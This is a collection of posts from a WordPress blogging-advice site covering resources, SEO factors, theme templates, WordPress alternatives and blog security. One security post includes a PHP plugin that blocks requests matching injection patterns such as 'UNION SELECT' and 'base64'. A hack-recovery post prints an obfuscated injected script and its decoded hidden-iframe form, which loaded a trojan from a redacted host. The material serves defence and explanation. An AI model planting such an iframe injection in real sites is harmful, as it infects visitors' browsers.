However, one thing I have noticed is that not many bloggers are extraordinary in their efforts to making their blog a success. Lots of mediocrity and sub par performances are abundant as most don’t truly respect the art and are just not hungry enough to seek to be better day-in day-out.

There will never be a perfect blogger but we can work to achieve the best of the best by continuously reading, tweaking, studying, designing and learning to ensure that we stand out in the crowd.

Here are 20 excellent resources that will help you to get started on the right track if you’re new to blogging as well as links for the seasoned blogger who needs to tip the scale.

Excellent Books

Crush It! Why Now Is The Time To Cash In On Your Passion – By Gary Vaynerchuk – Through his own success, Gary highlights useful and unique methods for making the most out of social media to grow your business online through the power of passion.

31 Days To Build A Better Blog – Darren Rowse provides a daily “things to do” course that instructs you on what to do to get your blog off the ground and driving traffic.

Digging Into WordPress – This book provides the most concise, easy to follow guides on how to master the most powerful blogging platform on earth, WordPress.

Purple Cow – Transform Your Business By Being Remarkable – The thoughts and strategies of a marketing mastermind, Seth Godin. In this book, he provides practical and effective marketing techniques that apply easily to every online business venture.

Design & Coding

How To Be a Rockstar WordPress Designer – Teaches how to truly make your WordPress blog extraordinary in design and content.

Lynda.com – This site has a plethora of unique, easy to follow video tutorials to help you master blogging, WordPress and anything digital.

WordPress Codex – From the developers of WordPress themselves, here you will find detailed explanations of every element within the WordPress CMS.

WordPress Themes

Within these sites you will find some of the best WordPress themes on the web.

Elegant Themes

Woo Themes

Awesome Sites You Should Follow & Use

Problogger.net – One of the best blogs you could ever read which gives practical advise from it’s founder, Darren Rowse, as well as the greatest minds on the net.

My Blog Guest – Excellent community, useful for finding Guest Blogging opportunities.

2Createawebsite.com Blog -Another experienced leader in the blogosphere who freely provides the knowledge to help you master blogging while earning from your efforts.

Sam’s Web Guide – Although fairly new, my blog provides articles that hit the nail on the head by pointing you in the right direction on your blogging journey.

WP Beginner – This site has amazing tutorials for tweaking and customizing your WordPress blog.

Other Online Resources

Google’s SEO Starter Guide – Forget about what so-called SEO experts have to say. Find all the information on SEO you will ever need from the creators of the biggest search engine.

SEO Book – Massive authority on Search Engine Optimization and is a powerful community for dominating your niche through search.

Google’s 20 Things I Learned About Browsers & The Web – To be an effective blogger, its very important to know the basics of the web, browsers and how it is presented to users.

Web Hosting

Host Gator – Host Gator is one of the best web hosts I have used since I first started building websites. My sites have never been down with them, they provide excellent support and sites load much faster than most other hosts I’ve tried in the past. I recommend you give them a try.

Online Tools

Firebug Extension for Firefox & Chrome – If you’re tweaking and customizing your own themes then you need to get this extension. It allows you to view and identify HTML and CSS elements that are crucial for making real time changes while growing to understand how your theme works.

Conclusion & Discussion

Whether you’ve been blogging for years or a newbie, the resources above will present something new and will help to grow or ignite a passion for blogging; and open your eyes to effective ideas over-looked by the masses.

Do you have or know of an awesome resource not mentioned above? Please share it with us in the comments section below. We would love to hear from you.

Though many of us use WordPress  just for blogging, it offers us much more than that and can be extended and upgraded to suit and accomplish almost any goal you have online. So to help you get the picture and also gain some insight and/or inspiration, I’ve decided to share some already popular, and not so popular but beautiful, sites that are enjoying success with WordPress as the backbone of their business online.

Most of these sites use WordPress to serve their blog’s content as well as a content management system to efficiently manipulate their site’s design, structure and content.

So, here’s the list:

1. TIME Magazine Blogs

2. PlayStation’s Blog

3. TechCrunch

4. ProBlogger

5. CSS Remix

6. Phone.com

7. CNN Political Ticker

8. Wall Street Journal Online Magazine

9. The Ford Story

10. Network Solutions

11. Department of Environmental Sciences

12. Mairie de Flamanville

13. Blu Homes

14. eBay Ink Blog

15. Mashable

16. Eye-Fi Memory Cards

17. The Mozilla Blog

18. Flickr’s Blog

Discussion

That’s it. Hope you found some inspiration to push your WordPress site / blog to the limits.

Are there any other popular sites that you’re aware of that use WordPress as their CMS? Please let us know in the comments below.

Here are 26 major factors that Google uses in measuring up your site / blog and determining your authority. Although there are over 200 factors, the ones listed below provide more powerful results within the shortest period of time.

Keyword Usage

1. Using keywords in URLs and domain names
This refers to your post slugs (page name URL) and domain names with your targeted keywords. For example, www.telescope-sales.com, where telescope would be a main keyword.

2. Keywords in Page Title
Keywords must be used in your page titles and should be between 10 to 60 characters. Avoid using special characters.

4. Keywords in H1, H2, H3 Tags
In writing posts, ensure that you use your keywords in heading tag styles.

5. Keyword Density of 3% to 8% in the Body
Ensure that you are not spamming your articles with specific keywords. Use your targeted keywords in moderation and let your articles flow naturally.

6. Keyword Prominence
Ensure that your main keywords are used as early in your articles as possible. The higher up in the article your keywords are, the more attention google pays to them.

7. Keywords in ALT & Title Tags Text
All ‘alt’ and ‘title’ tags for images and text links should contain relevant keywords.

8. Keyword Use in Internal Link Anchor Text
Internal links should have relevant anchor text

Internal Links

9. Efficient Tree Like Structure
Try to have no page deeper than 4 clicks to reach it if you want it to rank effectively. Try to have a maximum of 2 clicks.

10. Ensure that All Internal Links Are Valid
Use the free W3C link checker to validate your on-page links. This tool will let you know if any major internal links are broken.

Outgoing Links

11. Link To Only Trustworthy Sites
Linking to blacklisted or shady websites will harm your authority in the long-term. Be care how you approve trackbacks on your blog. My philosophy is do not accept, they are not necessary.

It can take several months to a year before google reinstates your authority and inclusion in search engine results.

12. Outgoing Link Anchor Text
Ensure that outgoing link anchor text are relevant to the site’s topic.

On-Site SEO Factors

13. Moderate Page File Size
Ensure that your page size does not exceed 100K. This does not include images.

14. New Pages & Fresh Content
Fresh content from established sites rank better in search results. Recency is a valuable asset when links are hard to acquire. Its also good to have a higher ratio of new pages to old, plus newer pages on old sites get better recognition.

15. Frequent Updates
Frequently updated sites are crawled by search engine spiders more frequently than others.

16. Domain Age
Older domains have more authority in google search results and shows stability.

17. Site Load Times
Faster load times for your site is a new factor that google has started to pay attention to. Faster times indicate a better experience for searchers. Follow these guidelines to ensure a faster loading site.

Off-Page SEO Factors

18. Incoming Links from High Ranking Pages
More incoming links from reputable, high ranking websites with improve your SERP authority significantly.

19. Link Acquisition Speed
Ensure that you are acquiring those incoming links naturally. Newer sites will get penalized if links are acquired too fast, in an artificial manner. A site going naturally viral won’t have any troubles.

20. Older Longstanding Incoming Links Are Better

21. Change of Anchor Link Text for Incoming Links
The anchor text of your incoming links should not be changed frequently and is bad in google’s eyes.

22. Incoming Links From Popular Expert Sites
Being featured on popular sites can boost your search engine traffic. This tells google your site is trustworthy and will rank you higher in search results.

23. Clickthrough Rate(CTR) on Search Results Pages
CTR on search results pages is a large cumulative factor and this data is collected by google to help determine authority.

Page & Site Metrics: User Behavior

24. Time Users Spend on your Site
The more time each visitor spends on your site, the higher the indication to google that your site provides relevant content and thus ranks you better.

25. Are Your Pages Bookmarked?
When visitors bookmark your site on social sites like Delicious.com, Reddit.com, Digg.com, etc google increases your trustworthiness.

26. Domain Registration Time
Register your domain for 5 years or more. This indicates that you are serious and here to stay, thus more trustworthy.

Conclusion & Discussion

Search engine optimization is very important to practice if you hope to gain any traffic through search engines. In most cases, the factors are common sense and are really easy to implement. In your practices, bear in mind that anything that seems to mislead search engines or visitors, is usually bad for your site’s authority and search rankings.

Also, bear in mind that each factor on its own is not enough to dominate search engine results but the consistent practice of each will lead to success.

Are there any other major ranking factors I left out? Please let us know by leaving a comment below, we would love to hear from you.

So today, I’ll show you how to create your own custom front page that can serve your visitors as a sales page, introductory page or just about anything you wish.

Step 1 – Create your custom page

To create a custom page, simply duplicate your page.php file which is found in your theme’s main directory and give it a name of your choice. This name must be different from “page.php” This is found in your “wp-admin/wp-content/themes/yourtheme/. Where “yourtheme” is the name of your currently active theme directory.

Step 2 – Add required code to your new file

Add the code below to the top of your new page, replacing “New Page Template” with a name of your choice. This is what WordPress uses to detect the file type (whether its a template or not) and the template name.

<?php /* Template Name: New Page Template */ ?>

Step 3 – Select your new page template

Once you’ve created and saved your new template, within your WordPress dashboard create a new page and select the new page template you created in the template selection drop down menu and click publish as shown below.

Step 4 – Publish and set your new front page

Go to Settings then Reading in your WordPress dashboard and select the static page radio button and select your new page from the drop-down as your front page display as shown below and click save.

Final – Create your content

You may look at your original page.php template file to get an idea as to what you may want to include in your custom page template like the header and footer or possibly the sidebar. Remember, the content you place here is up to you.

See how simple that was? You have now created your custom front page for your WordPress blog. You may go ahead and add any content you like to your new page.

If you experience any difficulties in getting this done please feel free to ask for further assistance. I would love to help.

In this video, Adam Purcell from Hungry Dog Media demonstrates how easy the plugin setup is and does it in under 5 minutes.

Note: The video is best viewed in full screen mode

Additional Features of the plugin include:

Payment Options
Integrates with Google Checkout, Paypal, Payment Express, and many other trusted payment processors.

100% Customizable
Use your own HTML & CSS and have complete control over the look and feel of your online store.

Search Engine Friendly
Awesome tools are integrated to improve your online product search rankings.

Head over to Getshopped.org to learn more about this awesome plugin or you can download it here: WP E-Commerce

Discussion: I’m currently testing all the capabilities of the plugin. So far so good. If you’ve had any experience using the WP-E-Commerce plugin, please leave us a comment to let us know what you think about it.

Failure to monitor your blog can result in the advent of non-standards compliant code that not only gives your blog a cluttered look, but sometimes causes your blog’s pages to load improperly or not at all. With all the modern emphasis on productivity comes an equally important emphasis on simplicity and order on the Web. A successful blog needs to be useful and visually appealing which means that to keep yours on the radar, you’re going to have to clean it up a bit. Here are some steps you can take to keep your blog simple, clean and in tip-top shape.

1. Offload or Reduce Your Blogroll

It’s nice to list some other blogs that you and your readers might be interested in, but does it really have to be on every page? That’s up to you, but you should carefully consider moving it out of the way and planting it on its own page rather than cluttering up your sidebar.

2. Delete the Spam Kill Count

Useless elements like Akismet’s spam counter do nothing to contribute to the mission of your blog, so why bother? Everyone knows about the Akismet plugin for WordPress and that it indeed does kill spam, but what value is the kill count to your blog. Think about taking that off your blog so users can pay attention to you instead.

3. Remove RSS Feeds for Posts

Most people aren’t interested in an RSS feed for a post anyway: if they are, they can bookmark it. Besides, too many feeds complicate your blog, so removing all but the main one should help your blog.

4. Ease Off the Social Bookmark Buttons

Many people find all those submission buttons for each post to be distracting, so why do some blogs have the icons and links plastered everywhere? If you want to get your posts submitted to these services, either the links or the icons should do. Be sure to discard the one you don’t want to keep. And you don’t need to list fifty options: stick to the main players, ie. Twitter, Facebook, Digg, StumbleUpon, Reddit, Delicious.

5. Delete Your WordPress Version Number

By default, WordPress shows the world what version of the software is running your blog. First, that is not interesting to most blog readers. Another thing is that hackers can judge by the version number what vulnerabilities exist on your site, so it’s always best to keep this information off your site.

6. Reduce the Number of Categories

Category lists can get excessively long, and they aren’t the most popular part of a blog anyway. Besides, if it is shorter more people will be likely to browse through it. Make your blog less complicated by keeping your number of categories low.

7. Put Polls in Posts, Not in the Sidebar

It’s great to learn the opinions of your visitors, but how about writing a post and including your poll there? Polls in the sidebar give your blog a cluttered look and can distract visitors from the real you.

8. Move Your Archives

Readers who are interested in learning more from your site will be happy to click on a separate page to navigate your archive. Your blog will look much cleaner too.

9. Counters and Alexa Widgets Have to Go

These gizmos take up real estate on your blog, but don’t contribute anything to a positive user experience: take them off.

10. Have a Utility Area

Consolidate site policies to your “About Me” page so people can learn about your blog all in one place. If you offer services, then create a dedicated services page too. Same goes for your contact form.

Now that you’ve tried these steps, your mind is probably coming up with more ways to clean up your blog. Keep working at it and soon you’ll have a clean blog that meets modern expectations. You and your readers will be pleased with the results.

If you missed my previous security articles, you may view: 5 Extreme Steps to Secure Your WordPress Blog and 10 Simple Steps to Secure & Protect your WordPress Blog.

Since last year, thousands of sites have been hit by SQL attacks where malicious code is injected into the site. This type of attack completely disables the site’s permalink structure thus making blog post URLs inactive.

The Awesome Solution

We all know that prevention is better than cure, so below you will find the code that will be used to secure your site and prevent the injection. If you are tech savvy, you can create a new .php file, copy and save the code below and give it the file name: block_injections.php.

The code:

<?php
/*
Plugin Name: Block Bad Queries
Plugin URI: http://perishablepress.com/press/2009/12/22/protect-wordpress-against-malicious-url-requests/
Description: Protect WordPress Against Malicious URL Requests
Author URI: http://perishablepress.com/
Author: Perishable Press
Version: 1.0
*/
global $user_ID; if($user_ID) {
if(!current_user_can('level_10')) {
if (strlen($_SERVER['REQUEST_URI']) > 255 ||
strpos($_SERVER['REQUEST_URI'], "eval(") ||
strpos($_SERVER['REQUEST_URI'], "CONCAT") ||
strpos($_SERVER['REQUEST_URI'], "UNION SELECT") ||
strpos($_SERVER['REQUEST_URI'], "base64")) {
@header("HTTP/1.1 414 Request-URI Too Long");
@header("Status: 414 Request-URI Too Long");
@header("Connection: Close");
@exit;
}
}
} ?>

Source: Perishable Press

If you would prefer not to dabble in any code, you may download the plugin here: Block Bad Queries Plugin

Save the file above and upload it to your plugin directory, /wp-content/plugins/, or use the Add New feature in your plugin section in the WordPress dashboard. This plugin will check for excessively long request strings (greater than 255 characters) as well as the presence of base64 code in the request URI which hides the malicious code.

Once the plugin is activated, it will silently and effectively close any connections for this type of injection attack.

Start Protecting Your Blog

This type of injection attack is extremely common in unprotected WordPress installations and the malicious code is often found hidden within free WordPress themes that are downloaded from questionable websites.

Always remember that prevention is better than cure and your site is your valuable investment.

Discussion

Please share your experiences with securing your blog and the problems that you have overcome. Also, if you require further assistance with implementing the code, please don’t hesitate to ask.

WordPress is one of the most popular blogging software packages available. Because of its popularity, there is a lot of support for it as well as ways to change it through themes, addons, plugins, and customizations. Being popular is not always a good thing though. For a package to appeal to a wide range of people and applications, it has to come with a lot of features and capabilities that a user may not want to use.

Those users may find WordPress a bit bloated for their particular application. Another thing about WordPress is that its popularity attracts quite a bit of comment and post spam, something many bloggers don’t want to deal with. Since WordPress is open source, hackers have access to the code just as developers do, so there’s often a perception that WordPress installations are more likely to get hacked. Finally, some people just like to be different. Why blog with WordPress just because everyone else does? So, even though WordPress is a great platform to use for blogging and other content management, there are some who prefer to use something else. For those people, here are six of the best WordPress alternatives that you can try.

1. LifeType

Bloggers love the user friendly interface offered by LifeType as well as its WYSIWYG interface that makes publishing content a cinch. LifeType features integration for media that’s great for images, podcasts, and video. The anti-spam filter built in to LifeType takes the headache out of managing spam, so bloggers can do what they want – blog – rather than mess with spam. User management and management for multiple blogs are other features that make LifeType a favorite of webmasters: even multiple domains are supported. LifeType is fully customizable too with a variety of plugins and themes.

LifeType can be downloaded here

2. Textpattern

Textpattern is more of a general
content management system (CMS) than a blogging-centric platform. This is a PHP-based system that relies on a MySQL database that uses standardized XHTML and CSS to present clean, SEO optimized pages. Textpattern gives users a “just write” interface where writers and businesses can publish content without having to worry about code and other technical aspects. The heavyweight features of Textpattern such as browser-based image uploading and organizing are supported by a surprisingly light code footprint that developers can use to customize it to any specific application.

Textpattern can be downloaded here

3. Mephisto

This powerful blogging platform has a lot of powerful
features that are usually found only in the big platforms with a minimal footprint. In fact, the developers of Mephisto have committed to keep the program from developing into a bloated CMS platform. This is a great publishing tool that can be used as is or customized to your needs.

Mephisto can be downloaded here

4. Serendipity

Serendipity is another PHP-powered
alternative to WordPress that can be used for either blogging or CMS. This software package emphasizes simplicity and ease of use. It’s designed for causal bloggers but plugin and development options are available that allow it to be tweaked for your purpose. This platform has native anti-spam support, nested categories and comment threads that offer it unusual functionality.

Serendipity can be downloaded here

5. Habari

Have you ever wondered what modern
blogging software would look like? With Habari, you get the feeling that the future has arrived. Its revolutionary model features community development, multiple database support, object oriented extensibility, state-of-the art media silos, atom publishing support, and other features that are attracting the attention of amateur and professional bloggers alike. Another thing that makes Habari unique is its built-in importers for Serendipity and WordPress, so it’s easy to make the change.

Habari can be downloaded here

6. b2evolution

This WordPress alternative has been around
for a long time although its name implies that it is on the cutting edge of development. In reality, b2evolution is a powerful, but basic platform that has photo management, multiple blog support, skins and plugin support as part of its default installation. Add news feeds, trackbacks, feedbacks, and localization and you have yourself a powerful blogging platform that even advanced bloggers will appreciate. Businesses can use b2evolution as a powerful Web CMS that can manage product information, blogs, wikis, downloads, and workflow to present a unified Web presence to customers.

b2evolution can be downloaded here

Discussion: Please let us know if you have ever used any other CMS or blogging platforms and how did you find the experience? Was it better than the popular WordPress? What blogging platform are you using now and why?

Here are 5 additional tips and practices to ensure that your investment of time, energy and money in your blog never goes to waste.

1. WordPress File Monitor Plugin

This plugin monitors your WordPress installation and sends an e-mail alert to a specified address whenever a file is changed, added or deleted. Usually when a site or blog is hacked or compromised in some way, there is always a file that is altered in your directories. Under normal circumstances we would not know about such low-key changes taking places, so the plugin keeps a constant look-out and reports any changes.

The plugin also shows alerts in the WordPress dashboard, just in case you missed the e-mail alert.

This plugin can be downloaded here: WordPress File Monitor

2. Move Your Wp-config.php File

This tip actually came from Sachin, a fellow blogger and web developer, who commented on my previous security post.

You can further secure your WordPress blog by moving your wp-config.php file (which is found in your root directory) to a directory level that is higher than your www (root) folder. This move will prevent your blog from being hacked through your wp-config.php file.

3. WordPress Anti-Virus Protection Plugin

Hopefully, most of us have anti-virus software for our personal computers, so why not have it for your wordpress blog? This plugin is an extremely effective solution for detecting and protecting your blog against exploitations and spam injections and offers the ability to conduct daily automatic scanning and manual testing while providing e-mail notifications.

This awesome anti-virus plugin can be downloaded here: WordPress AntiVirus

4. WordPress Firewall Plugin

This one is pretty neat and recommended for more advanced users. This plugin has a vast amount features that complement your web host server by logging, detecting and intercepting suspicious parameters and requests. It is also useful for mitigating dreadful zero-day attacks (See definition for Zero-day Attacks Here) and setting different security protection levels.

The plugin can be downloaded here: WordPress Firewall Plugin

5. Encrypted Login Password Plugin

This plugin is very useful for users who do not have SSL (Secure Sockets Layer, see definition here) enabled or is not available. The plugin increases the security of the login process by using a combination of public and secret key encryption to encrypt the password on the client side when you log in. Your server will then decrypt the encrypted password with a private key and grant you access. Note: Javascript is required to enable password encryption.

The plugin can be downloaded here: Semisecure Login Reimagined

Use the plugins and tips above to seriously secure and lock-up your wordpress blog to the Max! Remember, its your investment, so do what it takes to protect it.

Discussion:

Please share with us other tips or plugins not listed above that you may have found useful. Also, please share any experiences or difficulties you may have had in the past and what you did to overcome.

Fortunately, I have never been hacked, so I will be showing an example from another person’s experience that I came across yesterday. Below is a screenshot of his wordpress dashboard 2 months after the malicious script was installed.

Hacked WordPress Screenshot

As you can see, everything’s all mixed up. When he tried to visit his blog through his web browser, his anti-virus software popped up with warnings that a trojan horse was found on the site and the site may be dangerous. This is when he realized that something had gone wrong; after the damage was already done.

The Malicious Code

He then decided to check his theme’s html files to find the source of the problem and here he found some code that he did not recognize because the malicious code was encrypted. Example below:

<script language=”javascript”>eval(unescape(“%64%6F%63%75%6D%65

The hackers obviously encrypted a part of the line of code hoping to hide the true nature and purpose of the script. When decoded the code reads as follows:

<script language=”javascript”>eval(unescape(“document.write(‘<iframe src=”http://xxxxxxxx.org/in.php” width=1 height=1 frameborder=0></iframe>’);”))</script>

The script was actually trying to call a malicious website to load on his website through a hidden frame. This website would automatically load a trojan horse virus in the his browser.

How Did The Script Get in the Html for his Blog?

The next question is; how did this malicious code get into his blog in the first place? Answer: A virus on his local windows PC stole his FTP login credentials from his FTP client and then used the FTP client to remotely infect the site, considering that he used his FTP to directly access his blog’s directories. Typically, the php files with execution permission within the directories were infected, especially the plugin and theme files are the first targets.

The Solution

Here are some steps to take to remove an infestation:

1) Ensure that you have a robust anti-virus software on your PC that is updated. Run a complete scan of your entire computer system and ensure that all viruses are removed. I would recommend downloading Malwarebytes’ Anti-Malware Software to compliment your anti-virus software. This works very well.

2) In this scenario, it was only the default wordpress php files that were affected, so a fresh copy of the files were uploaded after removing the malicious ones from the hosting server.

3) Change local FTP passwords and ensure that the new ones are very complex. This is very important to do because normally after a malicious attack there is always an open “backdoor” that remains and the hacker can easily exploit this.

4) To be on the safe side, change your hosting account’s password as well as your site’s database password, whether it is Postgre or MySQL.

PHP & HTML Knowledge

It is very important to know basic html and php because this will give you the benefit of recognizing suspicious activity and malicious code and I can’t stress this enough. A site such as Lynda.com provides amazing video tutorials that will definitely help you to grasp the basics and master programming languages if you’re seriously interested. They have helped me a lot.

Prevention is Better Than Cure

You may view a list of plugins and techniques that will help to prevent malicious attacks on one of my previous posts here: 10 Simple Steps to Secure & Protect your WordPress Blog

Some key points that are not in that post are:

1) Do not save your login credentials in your FTP client.

2) Change all passwords on a monthly basis

3) Be carefull when downloading free plugins. It is best to download them from wordpress.org.

4) Keep your anti-virus software updated

Please note that if your blog gets hacked, the symptoms and the causes may be different from what had happened in the scenario described above..

If your wordpress blog gets hacked, don’t panic. Use the following resources to recover your website:

Additional Resources if you Suspect That You May Be Hacked

1) Use Google Webmaster Tools to detect malicious scripts.

2) Post the details of symptoms to the WordPress Community, if you notice any suspicious activities happening in your blog

3) If you decide to clean it up yourself, there is a good list of steps to take, in an article at WordPress.org Codex.

Please note that if your blog or other type of site gets hacked, the symptoms and the causes may be different from what had happened in the scenario I presented.

I hope you found this post helpful and will take the steps to prevent the exploitation of your site / blog.

Discussion: Have you ever been hacked? Leave a comment and tell us of your experiences. If you would like to have a more in-depth discussion on this topic, feel free to contact me through here.